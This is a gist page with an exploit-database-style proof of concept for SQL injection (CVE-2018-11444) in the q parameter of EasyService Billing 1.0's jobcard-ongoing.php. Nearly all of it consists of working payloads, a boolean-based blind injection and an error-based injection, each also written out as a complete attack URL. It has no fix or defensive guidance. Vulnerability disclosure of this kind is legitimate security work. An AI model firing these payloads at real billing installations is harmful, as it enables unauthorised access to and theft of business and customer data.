Instantly share code, notes, and snippets.

Embed
What would you like to do?
EasyService Billing 1.0 SQL Injection
<!--
# # # # #
# Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Vendor Homepage: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Version: 1.0
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# CVE: CVE-2018-11444
# # # # #
# Proof of Concept:
////////////////////////////////
SQL Injection in q parameter
///////////////////////////////
Affected Link: demo.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: demo.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--
# Error-Based SQL
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
Link: demo.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
#################################
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment